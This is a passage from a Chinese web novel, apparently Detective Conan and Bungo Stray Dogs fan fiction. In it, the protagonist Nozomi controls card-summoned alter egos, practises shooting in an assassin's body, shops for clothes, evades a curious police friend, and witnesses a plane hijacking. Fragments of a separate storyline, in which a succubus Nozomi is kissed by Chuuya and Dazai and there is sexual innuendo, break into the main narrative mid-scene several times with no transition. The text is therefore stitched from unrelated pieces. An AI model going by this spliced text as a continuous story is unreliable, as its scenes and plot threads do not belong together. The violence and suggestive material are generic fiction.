摸鱼哥沉默了足足一分钟,才平静地回答道:“对不起,你说的太快了,我没有听清,请问可以再说一次吗?” 降谷零:“…………” 他真的是在跟真人对话,而不是在跟Siri对话,没错吧? 降谷零放弃了,他闭了闭眼,决定做最后一次挣扎。 要是再说不通,他就先把组织应付过去,再偷偷过来一趟,把人打晕救出去,让公安教育他。 “我调查过,社长来找你的次数并不多。而且,保安多次偷偷给你暗示,询问你要不要报警,你都视而不见。” 降谷零问:“你是有什么把柄在社长手上么……我是问,你有没有什么重要的人或物,被社长拿捏着,或是有求于他。” 话音刚落,降谷零看见面前的黑发青年,不安地动了一下。 原来突破口在这里。 降谷零眯了眯眼:“是什么?告诉我,我可以帮你。” “……一个对我而言,很重要、很重要的东西。”青年慢吞吞地说,似有抱怨:“他拿走前说好第二天就还给我,一周过去了,都没有还回来。” 一周么。 降谷零的心里有了底,他问:“具体是什么?我帮你拿到手,交回给你,这样你就能安心离开了。” 摸鱼哥摇摇头:“谢谢你帮我,但我是不会离开他的。” 降谷零:“……” “到时候……哼。”降谷零冷笑了一声,问:“你知道他把重要的物品都放在哪里么?” 摸鱼哥:“在一个黑色的手提箱里。如果你找到,麻烦送过来给我。他应该是太忙,不小心忘了这回事。” ——怎么还在替那个人渣说话。 降谷零有些头疼,知道一时半会纠正不过来,果断转移话题。 “我可以进去房间看看吗?” 摸鱼哥无比迅速:“不可以。” “……里面是研究室吗?” 降谷零的声音逐渐放轻,带着几分诱导,目光紧紧锁定着青年的表情。 “研究资料,在你的房间里放着么?你得说实话,不然我怎么帮你。” 摸鱼哥二度犹豫,最后竟是咬牙说:“算了,你走吧。那个东西,我也不要了。” 降谷零大吃一惊。 摸鱼哥强忍悲痛,认真道:“他是我灵魂的另一部分,我是不会背叛主控的。” 降谷零:?! 他听到了什么。 主控……这是主人的意思吗? 垃圾人渣长谷社长的下作主仆play,实锤了! 摸鱼哥:“你快走,不然我真的报警抓你了!” 说完,维持着正脸朝向降谷零的警惕姿势,迅速反手开门,关门,一气呵成。 降谷零凭借优秀的视力,窥见了房间一角。 米色的地毯、落地台灯、宽宽大大的沙发和随意摆放的暖色调抱枕。 好像很正常的样子。 不能硬闯。 降谷零没有离开,而是躲在一个空房间里,利用墙壁的阴影遮挡身形,随后给苏格兰和龙舌兰发去信息。 诸伏景光迅速下楼,推着一车零零碎碎的生活物资(提前准备好的),借口送货,上了33层。 随后又穿上了保安的衣服,伪装成第二位值班的保安。 几分钟后,呼叫机响起,小室友江被诸伏景光以“有一批物资需要您确认签收”为理由,叫了出去。 为了拖延时间,诸伏景光一边让小室友江挨个开箱清点物资,一边不着痕迹地套话。 龙舌兰一边帮倒忙——借此拖延更多时间,一边旁听苏格兰套话。 降谷零则趁此机会,偷偷溜进了小室友江的房间。 他手脚麻利地把屋子内外翻了个遍,果然没有找到研究资料,想来或许在那个手提箱里。 而这间大的不像话的套房,正常得不能再正常,降谷零甚至品出了几分温馨。 房间里最多的是游戏卡带和漫画书,电脑没有重要资料,且可以正常联网。抽屉、柜子里没有奇奇怪怪的装备,连一个安全套都找不到。 床上虽然有很多个枕头,但只有一边是睡过的痕迹。 客厅还有一个大大的落地窗——不过是单向可视玻璃。 降谷零百思不得其解,可龙舌兰发暗号催他了,他只好撤退。 摸鱼哥清点了四十多分钟的物资,被迫加班,带着摸鱼失败的怨气,拖着一车物资往里走。 他超累。 并且决定跟主控抱怨,请望月开除那个大块头男人。 那人一点用都没有,尽是捣乱。 降谷零听见关门的声音后,再次悄悄溜了出去。 龙舌兰和诸伏景光守在门外,见他出来,齐齐迎上去。 诸伏景光藏得很好,但降谷零太了解自己的幼驯染了,一眼就看出他心神不定,似有痛惜和悔恨。 龙舌兰问道:“波本,现在怎么办?那个男人什么都不知道,只是一个被强制包养的小白脸。” 就连龙舌兰都确认了小室友江的处境。 降谷零沉吟片刻:“把那个保安摇醒,龙舌兰,你继续上班,别让人看出破绽。我和苏格兰去找藏起来的研究资料。” 龙舌兰无奈应下:“好吧。” 降谷零和诸伏景光迅速离开,两人没有走远,而是来到了32层。 “我们还没有找过社长的房间。”降谷零说:“重点寻找一个黑色的手提箱,里面可能有重要情报。” 诸伏景光:“好。” 两人保持着警惕,一起进了长谷社长的卧室。 紧接着,一眼便看见了那个传闻中放着重要物品的手提箱——它被随手放在了柜台上。 两人:“……” 降谷零戴着白色手套,避免留下指纹。他拉开了手提箱的拉链,两人一起低头往里看去。 里面只放着一个黑色的游戏手柄,看着还挺高级。 降谷零和诸伏景光面面相觑。 诸伏景光:“应该不是这个吧?说不定是用来迷惑视线的幌子。” 降谷零:“嗯,我们再找找。” 游戏手柄被放了回去,连同手提箱一起,物归原位。 诸伏景光翻箱倒柜地找了一圈,突然停下动作,对降谷零说:“波本,其实我之前见过长谷社长一面。” 降谷零当即回头看向他:“仔细说说。” 诸伏景光把长谷社长因破产寻死不成的事,告诉了降谷零。 降谷零顺势跟他交换了情报——关于小室友江看似与常人无异,其实对长谷社长有种病态的执著和忠诚。 以及,小室友江住的房间,除了不能离开外,真的很舒适,很五星级。 两人眉头紧锁,一通交流思索,最后得出结论:“……难道他们是一个愿打,一个愿挨的小众情感关系?” 两人陷入诡异的沉默中。 “算了,先把真正的研究所找到再说吧。”降谷零叹息道,“说不定小室友江被社长握在手里的把柄,就藏在真正的研究所里。” 等找到它,一切自然会真相大白。 …好、好恐怖。 中也身上的气势怎么比之前危险不少。 以前自己偷摸爬上床的时候,可从来没有遭到过这种待遇。 银发少年的声音变得有些结巴,脸上下意识地露出了一个谄媚的笑容。 “中、中也?怎么一下子这么生气……” “「好、久、不、见」啊。” 第 93 章 第九十三章 相比起喜怒不言表于脸,心思琢磨不透的太宰治,中原中也的情绪更加明显外放。 害羞了会脸红,生气了会揍人,相当好懂。 望月也不是没见中原中也惹恼后的样子,不论是脑袋还是屁股,也都没少挨揍。 说到底,那也不是真的在生气。 所以每次挨完揍安分了几天后,某只又会乐此不疲地开始撩拨。 水原秋并没有直接让望月上手做任务。 目前派给他的任务,难度都不是新手一上来就能掌握的。哪怕望月有技能加成,也很容易翻车。 他没有去组织的训练场,而是找到了一家枪械爱好者开的地下俱乐部。 一切办妥后,他才通知望月。 讲台上,国文老师正在讲授着课文。 望月坐在座位上,正单手转着笔,留在水原秋身上的精神印记便被戳了两下。 是通知他过去做任务了。 望月缓慢地眨了一下眼睛,眼皮开合的刹那,他的主意识已经进入了水原秋的身体。 他的本体此时依旧在课室,转着笔,听着课。除了会稍微分心,无法百分百专注学业,其他都没有影响,更不会被别人察觉到异样。 训练场里。 望月的面前,摆着一把黑色的手.枪——伯/莱/塔92F型,产地在意大利。 枪选择了水原秋常用的型号,这是望月主动要求的,他要更贴近秋先生,才能在使用马甲时不引人怀疑。 【拿枪。】水原秋在意识中对他说道,【在正式出任务前,要先找回开枪的感觉。】 望月拿起了枪,握在手里,感受了一下手.枪的触感。 【找回?】望月随口道,【不应该是学会吗?】 水原秋没有回答他。 望月只当秋先生是口误,没有在意。 他其实是有点惊讶的。 两人的对话完全是在大脑中进行的,没有出声。他们此刻更像共用一具身体的两个人格,是可以做到意识交流的。 其他的SR马甲卡,无论望月有没有链接他们的意识,他们都无法与望月在脑海中交流。 望月在抽出水原秋之前,从未体验过两个人格待同一具身体的滋味。照理说,他应该会有一段时间很不适应。 但无论是望月还是水原秋,两人都飞快接受并适应了这种设定。 他们就是能无师自通,自如地使用同一具身体。在外,还能熟练地在脑中对话。 望月还以为被水原秋的意识盯着,他一定会多少有些不自在。 ……结果,没有。 完全没有。 就像没有人会害怕自己,觉得自己跟自己相处很不自在一样,望月完全没有感到不适。 ——水原秋是望月,望月是水原秋,他们是一体的。 这句用来说服秋先生的话,真的灵验了。 望月在最初的讶异后,立刻接受了这件事,心底还升起了“这不是理所当然的事么,我在乱想什么”的想法。 ……不知道其他SSR马甲,也和秋先生一样吗。 望月在靶子前站定,好奇地打量了一圈靶场。这里的场地很大,各类设备一应俱全,动态靶和静态靶都有。 【没有其他人么?】望月问。 【我把场子包下了。】水原秋说,【不用担心,没人会看见你练枪。】 望月有些感慨。 这种私人俱乐部,恐怕就连进场费都很昂贵,打出去的每一颗子弹都是钱。 秋先生却张口就是包场。 每一个马甲都在逐渐变成有钱人,只有本体最穷。 不过马甲们的钱最后都要拿去氪金,所以吞金系统最可恶,抽卡出货的概率就不能调高点么! 望月在心里一通吐槽,手上一点儿都没耽误正事。 技能面板上,水原秋的【枪械lvmax】微微发光。 第一枪,先用技能找找感觉。 在技能的加成下,望月熟练地检查了枪支情况,在抬枪瞄准时,他的身体自动调整成了最佳开枪姿势。 望月没有第一时间开枪,而是细细感受着身体各处的肌肉发力、脚打开的宽度,手臂抬起的高度、握枪的力道…… 随后,他才微微眯眼,将目光挪向前方。 手.枪的准心和靶心重合的一瞬,望月扣下了扳机。 “砰——!” 不偏不倚,正中靶心,非常完美的一枪。 【做的很好。】水原秋适时出声夸奖,【记住这种感觉,再试一次。】 望月关闭了技能面板。 他回忆着方才的感觉,重新摆好架势,将枪口对准靶心。 望月冷肃着脸,瞄准后便扣下了扳机。 第一枪,六环。 第二枪,八环。 第三枪,十环。 难以想象,一个此前从未触碰过枪械的人,竟然能有如此好的成绩。 三枪内就打出了十环的好成绩,就连成绩最差的第一枪,也达到了六环的合格线,之后更是逐渐进步。 三枪后,望月也没有停下,而是接着练习。 起初,他开的每一枪都很慢,但很稳。之后,他的速度越来越快,到了最后三枪时,他更是“砰砰砰”连开三枪! 连续的三次快枪过去,望月连忙垂下手臂,看向一旁的电子记录屏。 上面显示的成绩:15次,144环。 除了开头的那两枪,望月竟然枪枪十环! 就连最后的连续三枪也不例外! 望月十分惊喜:【哥哥,你看——】 水原秋嗓音温和:【很厉害,作为新手而言,你的成绩很优秀。】 是吗? 望月心想,可他觉得自己不是新手诶。 好像在什么时候,早就碰过枪一样。 望月垂眸看着被换上新弹匣的枪,在分神的时候,他已经下意识把弹匣换好了。 ……难道是肌肉记忆? 望月抬起手掌,看见了指节处的厚厚枪茧,这是秋先生的手掌。 一个从不荒废训练,已然锻炼出条件反射的杀手,再怎样也差不到哪里去。 所以他能打出这样的成绩,也有秋先生的肌肉记忆加成。 ——秋先生说的“找回”,大概也是这个意思吧。 望月如此想道。 【再练一会儿,去试试动态靶。适应之后,换把枪再试试。】 水原秋的声音唤回了走神的望月。 他应了一声,再度抬起枪,扣下了扳机。 一天下来,望月已然能熟练掌握各类枪械的使用。无论是动态靶还是静态靶,他的准确率高得惊人,并且很稳定。 望月调侃道:【没想到我这么有天赋呀。】 一句玩笑话,水原秋却答得很认真:【当然。不过不仅是天赋,你也很努力。】 望月被夸得越发飘飘然,整个人的兴致格外高昂,都不想离开,恨不得泡在训练场度过一天。 但转念一想,这不是本体。就算秋先生的身体很强壮,也是要休息的。 还没等水原秋劝他,望月已经自觉放下枪。 【秋哥,我们回家吧。】望月问,【你来还是我来?】 水原秋把控制权让给他:【你来主控。】 正好从现在开始熟悉身体。 无人的地方和被人群环绕是不一样的感觉。 望月也没拒绝,他拥有水原秋的记忆,知道安全屋的地址。 他慢悠悠地走在大街上,面色自然地从人群中穿梭而过。 突然,望月停下了脚步。 【怎么了?】水原秋问。 【看到了熟人。】望月答道。 他注视着混在人群中离开的熟悉背影。黑色长发,戴着针织帽的高个男人,那不是赤井秀一么。 阿卡伊,这么巧啊,你也在压马路散步? 黑发男人似有所觉,倏然回眸。 他视线如鹰般锐利,扫视了一圈,来往的皆是路人,没有任何异样。 ……错觉吗。 赤井秀一收回了视线。 不远处,望月躲在柱子后。 他从内兜里拿出震动的手机,解锁,点开。 一封简讯,来自琴酒,要求他即刻前往某个地址会合。 【是任务。】望月试探询问:【哥哥……?】 【不急,先去看看情况。】水原秋答道。 任务细则没有附带在简讯上,要去现场才知道。 望月点点头,快步走向停车场,随手就把那条任务简讯删掉了。 望月开着秋先生的车,快速赶到了集合点——一处偏僻的街道。他离得远,等赶到时,已经很晚了。 无人的街边停着一辆保时捷,车牌是356A。 琴酒的车。 望月将车停稳。 保时捷车上的人看见他了,副驾车门打开,伏特加走了下来。 “格兰威特。”伏特加冲他打招呼。 “什么事?”望月走过去,冷淡地问。 他的语气、姿态、表情,都与水原秋一模一样。 伏特加面对面站在他面前,丝毫没有起疑。 伏特加递给他一张卡。 望月没有接,偏头用指节敲了敲车窗:“什么意思?” 车窗降下半截,露出驾驶座上的那人不耐烦的神情。 “那位先生给你的。” 伏特加补充:“代号成员都有的,与基层成员不同。今后的任务报酬会打到这张卡里,拥有支出部分预算的权利。” 望月秒懂。 哦,波本和贝尔摩德公款私用,就是用的这种卡。 但是…… 望月:“后勤死了吗?” 怎么也轮不到琴酒来送卡,再不济,伏特加也行啊。 琴酒满脸阴沉,冷笑道:“大概死光了吧。“ 伏特加擦了擦冷汗,低声解释:“……是那位先生要求的,要求大哥亲自把卡送到。” 望月:“……” ——乌丸莲耶脑子有病吧。 挑拨离间得未免太明显,让琴酒给新人当跑腿小弟,这不是等着被穿小鞋? 生怕他跟琴酒打不起来?? 难怪琴酒对他没有好脸色,一副随时暴走的样子。 望月默然片刻,还是接过了那张卡。 伏特加仿佛丢掉了什么烫手山芋,表情瞬间轻松,连忙坐进车内。 “你有一个海外任务,任务要求伏特加会发给你,细节会有人在那边和你交接。”琴酒说完,升起车窗,把油门一踩。 再多的话,一句都不愿多说。 望月回到自己的车上,手机很快震动两下,新的任务发送过来了。 简讯上说,组织在阿美莉卡的军火链出了点小问题,请求高层派人过去镇场子,顺便恢复武器购买。 还提到,配备的搭档已经抵达了阿美莉卡,正在当地活动,收集情报。 看到情报两个字,望月条件反射就想到了某人。 果然,往下一拉,给他配的搭档是波本。 ……波本,怎么又是你。 你怎么还跑去FBI的地盘上了啊。 银发少年脸上的表情相当的可怜,紫眸因为慌张和害怕而泪眼汪汪地盯着自己,让人升起某种糟糕的施|虐欲。 中原中也的眸色暗了暗,缓缓俯下身。 赭发青年的那张脸忽然放大,肩膀上微长的赭发顺着重力垂下,快要垂到自己的脸颊上。 望月吓得闭紧了眼睛,嗷嗷叫唤道。 “吾辈都说了完全就是意外啊!中也怎么还要揍吾辈啊!吾辈可是魅魔,完全没有其他恶魔那么皮实抗揍啊——” 然而,他的嘴唇被人堵住,所有的声音全部吞咽了回去。 中原中也俯下身,亲吻了上来。 第 94 章 第九十四章(感谢日白的深海鱼雷) ……诶? 原本以为自己会挨揍的望月脑袋上冒出了一个问号。 这又是什么情况? 中也怎么又突然给自己吃了? 嘴唇被堵住,望月脸上的表情呆呆的。 这一下地狱一下天堂的,在两边来回拉扯,他脑袋就要被搞糊涂了。 太宰治:…… 卧室里突然变得沉默。 黑发青年脸上的笑容一点一点淡了下去,随后变得面无表情。 啊,果然恶魔就是恶魔。 早知道就晚点来,让这家伙多受点惩罚,长长教训好了。 第 95 章 第九十五章 某种意义上,这只魅魔真的很没有眼力见。 中原中也也无语了。 他感觉自己胸口好像卡着一团棉花,上不去也下不来,哽得令人暴躁。 如果可以的话,面前这两个混蛋他想一起揍。 太宰双手插在口袋里。 望月一觉睡到大中午。 没有繁扰的梦境,不需要分神操纵马甲,望月已经很久没有睡过这么满足的觉了。 他睡醒了也不愿意睁眼,懒洋洋地翻了好几个身,不慎把抱枕拍飞。 望月伸手在床垫上拍拍,没摸到,手臂伸直了些,胡乱摸了一圈,还是没找到。 不会是掉到地毯上了吧。 有人替他将抱枕捡起,拍掉不存在的灰尘。掀开一角被子,顺着缝隙把抱枕塞回他的怀里,然后又把被子妥帖地掖好。 “谢啦。” 望月心满意足,用脸颊蹭了蹭柔软的绒毛枕套。 几秒后,他猛地睁眼,惊恐坐起。 ——他房间里哪来的第二个人啊! 仔细一看,哦,原来是水原秋,那没事了。 他还没回卡池啊。 ……?? 望月睁圆了眼:“秋先生,你还没回卡池休息吗?” “要守着你。”水原秋提醒道,“不是先生,是‘尼桑’。” 男人嗓音淡淡,一夜未眠对他而言似乎并不算什么。 水原秋稳稳地坐在普普通通的转椅上,好像那是什么宝座,一旁是恶龙的珍贵宝藏,必须得亲自守护,才能安心。 他气势正盛,容貌在光亮中过分英俊,以至于望月不敢直视他的眼睛。 “噢……”望月扣扣手指,一点点露出笑容:“谢谢哥哥。” “嗯。” 水原秋起身,示意望月将他收回卡池。 SSR可以自主选择留下或回去,明明水原秋可以自己“走”,却偏要望月“送”一程。 望月笑眯眯地将水原秋收回卡池。 水原秋消失在卧室内的下一秒,望月发出“嗷嗷嗷嗷”的鬼叫,把自己的脸埋进了抱枕里。 足足二十分钟后,卧室的门才打开。 学生放假,大人还得上班,叔叔应该早就去警视厅了。 望月从二楼的楼梯空隙探头往下看,一楼似乎没有人在。 他跑到客厅,餐桌上果然盖着一个防尘罩,里面是简单的三明治和牛奶。旁边还贴着一张纸条,叮嘱望月加热后再吃。 望月简单应付了自己的午餐,开始折腾给水原秋买衣服的事。 但他不常出门,偶尔购置衣物,也只去附近的那几家服装店,里面卖的都是少年人的衣服。 望月想了想,觉得它们都不适合水原秋。 望月决定去问问时尚达人——萩原研二。 他发了条简讯询问。 萩原研二很快给了他自己和松田阵平常去的几家服装店的地址,说是物美价廉,衣服质量也好,末了又八卦地问望月是要帮谁买衣服。 望月回复他,说自己是帮同学问的。 转头就换了身常服,斜斜背着一个小挎包,装了钥匙和钱包出门了。 他溜溜达达地进了商场,也不用导购介绍,自己对着一件又一件衣服挑挑拣拣,兴致颇高。 最后挑了好几套,拎在购物袋里,准备去试衣间。 刚走两步,看见橱窗里假人身上的衣服,又走不动路了。 那是一件纯黑色的风衣外套,长至腿弯,西装翻领,单排扣设计,简约大方。 秋先生穿上它,一定会很帅吧。 导购员适时上前推销,一顿吹嘘,把它吹的那叫一个天上有地下无,错过绝对后悔一辈子。 还拿了一件样衣过来,给望月摸料子。 望月哪里摸得出料子好坏,只能凭手感确认这件外套的确不错。 “好吧,帮我拿一件。”望月一看标签价格,狠狠心疼了一下钱包。 倒不是买不起,单买还好,若是再搭上之前那些,望月的零花钱基本上不剩什么了。 那些钱,原本是他存了很久,打算买新款乐高积木的。 不过叔叔昨天承诺过,只要考得好,就送他乐高。 这几天为了卡牌基建而分神,知识点落下不少,看来之后要好好复习了。 望月一边琢磨,一边去看码数。 “请给我最大码。”望月对导购小姐说。 导购委婉道:“这件衣服就是最适合您的码数呢。” 望月笑道:“我是帮别人买的。” 导购恍然大悟,立刻找来,递给他。 望月道了声谢,在导购的指引下,带着一堆衣服往最角落的试衣间走。 服装店外。 有着一头自然卷的黑发警官,在橱窗前停下了脚步。他微侧着身,透过玻璃往店内张望着。 同事喊了他一声:“松田,你看什么呢?” 松田阵平皱了皱眉:“好像看到望月了。” “诶?那要去打个招呼吗。” 松田阵平迟疑片刻,摇了摇头:“算了,我们还在巡逻执勤,工作要紧。” 同事:“也对,反正望月经常来警视厅,什么时候都能碰见嘛。唉,最近真是太忙了,还抽调我们去巡街……” “松田,走吧。把这片街区巡逻完,我们就能交班了。” 松田阵平应了一声,最后看了一眼服装店,转头快步跟上了同事。 ** 望月并不知道自己差点被抓包。 他正和水原秋挤在狭小的试衣间里。 试衣间原本还算宽敞,但同时容纳两个人——其中一个还是体格颇大的男人——便有些勉强了。 望月把衣服一股脑地塞到水原秋怀里。 “秋哥,你试试合不合身,不合身可以换码数的。”他很小声地说。 说完,望月就背过身去,面对着墙壁,跟罚站一样。 男人就在他身后几厘米的距离,动作极快地试穿衣服。空间狭窄,动作间偶尔会碰到望月的胳膊或挺直的背。 望月无比煎熬,他很想出去,但他不能。 导购员太过热情,见他出来,一定会上前服务,要是被她看见了秋先生…… 要怎么解释凭空多出一个大男人啊? 店里的客人还挺多,总不能霸占着“无人的”试衣间,不让别的客人进去。 算了,不就是挤一挤么。 都是男人,问题不大。 水原秋换完一套,就戳一下望月。望月回头上下打量一眼,点头夸帅,然后接着面壁,水原秋换下一套。 如此循环几次,望月的心情逐渐从紧张再到着急,再到麻木。 ——我到底为什么挑了这么多套衣服啊?! 等到最后一次回头,男人身上穿着的,正是那件纯黑色的大衣。 大衣下摆垂至小腿,质感很好,没有一丝褶皱。内搭黑色高领打底衫,巴掌大的皮带头边缘刻着银色细纹,黑色长裤衬得腿更长了,裤管可以收束扎进靴子里,但赶时间试衣,就没有做到那么细致。 望月眼前一亮,瞬间就不肉疼了。 这钱花得值啊! 水原秋看了外套的标签,对望月说:“这件就不必了。” 望月:“零花钱是我的,我爱怎么花就怎么花!我乐意!” 他催促:“快点换下来,要去结账了。” 水原秋:“……” 他默默把衣服换回初始套装,接着就被收回了卡池。 望月兴冲冲地推开试衣间的门,火速结账,拎着大袋小袋衣服,哼着歌离开。 他拐进商场的卫生间,第三次把水原秋召唤出来,把衣服递给他。 众多套装里,水原秋挑了望月最喜欢的那套,把初始装备换下,用袋子装好。 他提着购物袋,抬手覆在望月的发顶上,轻轻揉了揉。 “走了。”水原秋说,“要用身体,随时可以登,不必顾忌我。事成后,我会通知你。” 望月抱了他一下:“哥哥再见,工作要小心哦!” 男人满身的冷硬气质都随之而散,小心翼翼地回抱望月。下颌擦过少年的发顶,抬手将他圈到自己怀里。 他很克制,力道放得很轻。 两人之间的距离一下被拉得很近,望月的侧脸还能感受到新衣的布料质感,鼻尖萦绕着男人身上散不去的硝烟气味。 路人频频投来视线,望月不自在地挣了一下,水原秋就松开了他。 “照顾好自己。”水原秋又摸了摸望月的头,没有过多停留,走的飞快。 等视线中再也看不见水原秋的背影,望月才收回目光。 他快乐地查看了商场的地图,决定去买杯奶茶,再慢悠悠地溜达回家。 望月没有问水原秋要怎样打入组织内部,水原秋的面板明晃晃地告知了他的部分过去。 想以杀手的身份混入一个犯罪组织,对水原秋而言,是再简单不过的事。 他本来就是干这个的,回归老本行罢了。 至于离别愁绪,有,但不多。 又不是再也见不到了。 虽说水原秋一旦离开,望月无法再把他随意收回卡池和召到身边。 可……望月要是想的话,今晚就可以登水原秋的号嘛。 只要望月的精神力还留在水原秋体内,两人的通讯就不会中断。 除非望月死亡,这种联系永远不会断开。 ** 松田阵平和同事巡逻完毕。 他想了想,把交班的事宜托付给队友,自己掉头回了商场。 松田阵平从侧面进入商场,迎面恰好走来一个高高大大的男人。 两人擦肩而过的瞬间,松田阵平属于警察的警报在刹那拉响。 他倏然回眸,紧紧盯着那个男人。 黑发男人身着一袭纯黑大衣,从头到脚几乎都是黑色的,身姿挺拔,一双大长腿格外笔直。他察觉到身后的目光,侧了侧身,冷着脸望过来。 男人英俊冷肃的眉眼因背光而不甚清晰,但那双黑沉沉的眼瞳,以及眸中骇人的寒意,却给松田阵平留下了深刻的影响。 那人见松田阵平没有恶意,才稍稍收敛。他率先收回视线,迈开长腿,径直离开。 “……东京什么时候有这么一号危险人物了?” 松田阵平蹙着眉,把那人的样子牢牢记在心里。 他进入商场,直奔那家服装店。 走到一半,余光瞥见什么,脚步突然一顿。 松田阵平推开了奶茶店的店门。 ** 望月正点着餐,肩膀突然被人拍了一下。 “呜哇!” 望月受到惊吓,往旁边大跳一步。 “你这胆子也太小了。”松田阵平嫌弃道。 “阵平哥,你又突然从角落冒出来吓我,小心我跟研二哥打小报告。”望月威胁他。 松田阵平哼笑一声:“你敢?” “我胆子大得很。”望月故意顶了一句,带着点小得意把松田阵平挤开,在柜台点完奶茶。 他还问了松田阵平要不要,松田摇头,望月就只买了自己的。 等待的间隙,两人找了个座位,坐下聊了起来。 松田阵平仿若不经意地问:“对了,我刚刚好像在XX服装店看见你了。” 望月垂在桌下的手掌有一瞬握紧,随后飞快松开。 他笑着说:“我刚刚的确在那里啊,还是研二哥推荐给我的地址。” 松田阵平问:“那家店卖的男装偏向成熟风吧?” 望月撒谎完全不眨眼,自然道:“我陪同学去的,他帮他哥买衣服,自己又不会挑,这不就叫上我了。” “那你同学人呢?”松田阵平问。 “买完就回家啦,他急着给他哥一个惊喜。”望月说。 他深谙真真假假不易被察觉的真理,一番话里七分真三分假,说的自己都快信了,表情更是毫无破绽。 松田阵平盯了他几眼,最后还是信了。 见状,望月直接问道:“你怎么突然问起这些来?” 松田阵平:“还不是担心你。” 望月:“啊?” 松田阵平不耐地咂舌,语气吊儿郎当,坐姿也跟个大爷似的。 说的话却很正经。 “武田警部说你最近神思不属,晚上还睡不好,神神秘秘的……”松田阵平敲了敲桌子,用审问的姿态,抬着下巴问:“最近有心事啊?” 望月忙说没有。 松田阵平再问了几次,望月就差赌咒发誓自己是个快乐小孩,松田才放过了他。 “没有担心你抑郁,是担心……啧。” 松田阵平说着说着,突然话锋一转,说起了最近传遍警视厅的那桩案子。 望月认真听了几句,震惊地发现,竟然是马甲长谷社长和小室友江之间的“绯闻”。 ——马甲社死还不够吗,还要霍霍他?! 他尴尬地听着松田阵平公然八卦他的马甲,把两人之间的关系结合他人的传言,翻来倒去地分析了一辩。 望月只想松田快点闭嘴,不然迪士尼城堡就要在他的脚下开业了。 “打住!”望月连忙道:“我又不关心八卦。” 松田阵平话音一顿,故意诈他道:“不关心就不关心。你眼神闪闪躲躲做什么?” 望月喊冤:“我哪有!” 松田阵平把椅子拉近,抬手挡在唇边,很小声地问:“老实告诉我,到底有没有早恋?” 望月:“……” 松田阵平:“你很不对劲。” 望月恼怒:“你才不对劲!我是事业批,不搞恋爱的!而且,十八岁算什么早恋啊!” 松田阵平:“你没那意思的话,几岁算早恋又关你什么事。”他斩钉截铁:“你不对劲!” 望月一拍桌子:“好哇!难怪你之前问东问西的,原来是在怀疑我。” 松田阵平:“谁让你小子最近画风突变,还来逛商场……” “都说了,我是陪同学来的!”望月怒瞪他。 松田阵平理不直,率先服输:“好吧,你说什么就是什么。” 望月:“本来就是事实。” 恰好柜台在喊他的号,望月哒哒哒地过去拿了奶茶,倒回去对松田阵平做了个鬼脸,又担心松田阵平揍他,一溜烟地跑了。 松田阵平无语:“……死小鬼,下次再揍你。” 他遥遥望着少年的背影,不知为何,突然想到了在侧门碰见的危险男人。 ——那人穿着的大衣,就很像服装店橱窗展示的那件啊。 “……想什么呢。”松田阵平骂自己魔怔,“望月怎么可能跟那种人扯上关系。” 望月跑出很远,见松田阵平没有追上来,刚松了口气,手机滴滴两声收到简讯。 他翻出一看,短信来自松田阵平。 【谈不谈恋爱无所谓,你别跟来路不明的人交往。小心不仅被骗,还帮人数钱。】 【小室友江不就是因为爱情失去自由,可正常人谁会把爱人锁在房间里啊。这种爱情我是不认的,你小子也给我擦亮眼睛,知道没?】 望月的脸色青青白白,悲愤回道:【都说了没有谈恋爱!我生气了,要把你拉黑名单一天!你等明天再来吧。】 他凶狠地把松田的号码,拉进了黑名单里。 太宰治的唇角带着若有若无的微笑,在那桃心型的尾巴尖上轻轻地烙下一个吻,用嘴唇蹭了蹭。 他在心中轻声笑道。 那么,就约定好了。 在满足人类这贪婪而难以填满的欲望之前, ——可不会让你离开啊。 第 96 章 中也线 望月感觉自己的生活真是越来越滋润了。 他终于达成了自己来人类世界的目的——过上吃饱喝足的幸福日子。 当然也有一件小小的苦恼。 那就是自己都已经吃到这太宰和中也这两个人类的童贞了,却还没能满足他们的「欲望」。 “唔姆,真是奇怪。” “童贞毕业可都是大部分人类雄性的愿望吧,照理来说不可能不满足啊。而且都涩涩了那么多次了……” 总不会是他的身体操起来不够爽吧? 组织的要求是立刻出发。 望月没打算拖延,开车回安全屋收拾了一下东西后,买了最近一班飞机的机票,准备出国。 他买的是最顶级的头等舱。 出组织的公差,这羊毛不薅实在说不过去。 头等舱的服务很好,飞机餐也很美味,除了中途闹了一次劫机,一切都很美好。 劫匪的同伙控制了经济舱和商务舱,又拿着枪冲进头等舱,将空姐空少们吓得面色惨白。他还要求把驾驶室的舱门打开,不然就开枪。 机长从里面把门锁死,连空乘也打不开,劫匪只能无能狂怒。 望月正戴着眼罩睡觉,被这波动静吵醒,面色极为不善。 吵人睡觉是会天打雷劈的,懂吗。 劫匪中分出了一人,正用枪托挨个砸着乘客关上的座位门,要求他们打开座位门。 眼看马上就要轮到自己,望月面沉如水,缓缓起身。 却突然听到一声惨叫,来自于那名砸门的劫匪。 望月一愣,开门的动作顿住。 惨叫接二连三传来,全都是劫匪的声音。 望月微微眯起眼,拉开一条小缝,向外看。 只见半空中亮着一抹幽深红光,红光内包裹着一个小物件,很轻微地上下悬浮在空气里。 望月定睛一看,发现那是乘客座位里配备的小电视遥控器。 还有一道隐含不耐的成年男声传来,声音听起来非常耳熟。 “吵什么吵?连我坐的飞机都敢劫,胆子很大啊。” 那人冷笑一声,悬浮的遥控器唰地漂移挪远,下一秒,劫匪又痛嚎出声。 周围有乘客偷偷拉开舱门,探头去看。望月也跟着拉开半扇门,循声望去。 下半张脸蒙着黑布的劫匪,面朝下趴在地上,背上压着一道红光包裹的……遥控器。 一个披着黑色大衣的橘发男人,半长的橘发扎了一个小辫子,尾端搭在左肩上,手里拿着一顶黑色帽子。他不算很高,但很帅,气势极强。 此时正站在自己的舱门前,冷眼看着劫匪不断哀嚎。 望月:“……” 这不是中原中也吗。 难怪听着耳熟,但没有第一时间认出来。 毕竟他听得最多的,还是他献唱的片头和片尾曲,以及飙高音怒吼“太宰”的剪辑片段。 堂堂港口Mafia重力使出行,竟然如此亲民?你们港口Mafia没专机的么。 重力施加的压力一大,飞机猛地往下坠了点高度。全机舱都在剧烈颠簸,不断有乘客惊恐尖叫出声。 中原中也“啧”了一声。 下一刻,飞机突然稳住了,下降的高度也再度平缓升了回去。 “中原先生!!” 头等舱再度闯入几个人,都穿着黑西装。不过这次来的不是劫匪,而是中原中也的随行下属。 中原中也吩咐着什么,望月没再细听,而是悄无声息地把舱门合拢。 不需要他出手了。 有中原中也在,劫匪就算是把飞机的发动机全炸了,他也能让飞机平安落地。 至于经济舱和商务舱的劫匪…… 多半已经归西了吧。 毕竟劫匪们手里的都是小手.枪,人家港口Mafia揣着的是正儿八经的AK。 